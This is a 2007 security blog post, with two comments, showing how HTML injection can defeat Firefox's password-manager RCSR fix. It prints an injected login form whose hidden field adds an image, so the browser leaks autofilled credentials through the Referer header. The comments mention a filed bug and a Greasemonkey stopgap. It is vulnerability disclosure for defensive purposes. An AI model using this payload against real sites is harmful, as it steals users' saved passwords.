Saturday, February 24, 2007

Breaking Firefox's RCSR Fix

In Firefox, the developers have done a lot of good in regards to helping prevent XSS and other attacks against the client; you can read the whole advisory here:

And while their fix for the RCSR issue is good, its not perfect.

As everyone (including people commenting on mozilla's bug tracker) noticed, there is no real way to prevent this if an attacker can execute Javascript on the domain, because he can simply inject an iframe which has an src attribute set to the page which the user normally logs in on, and then simply change its contents to get the password.

Anyway; this fix attempts to solve the issue of an attacker being able to abuse the password manager if the attacker can inject html, but not Javascript. And so, that is the constraints within which we need to break the fix.

Lets assume we have a html injection issue in a page called in the GET parameter search; i.e.<img src=> would inject an image into the page.

What we can then do is inject a form into the page which looks like this:

<form action="" method="get">
    <input type="text" name="username" />
    <input type="password" name="password" />
    <input type="hidden" name="search" value="<img src='' />" />
    <input type="submit" value="Login" />

Then if we get the user to submit the form, then the referers sent to will have the username and password in them.

Of course, our form would have to have an input field which is an image which is transparent but covers the whole browser window, which would submit the form for us, or similar so that the form is submitted but that issue has already been solved, and I wanted to keep the example clean.


Wladimir Palant said...

I filed a bug on this:

kuza55 said...

For anyone who is interested, I've also posted a stop gap solution in the form of a Greasemonkey script here:
which sets the form method to post on all forms which contain password fields; sure it will breaks things but not too many things.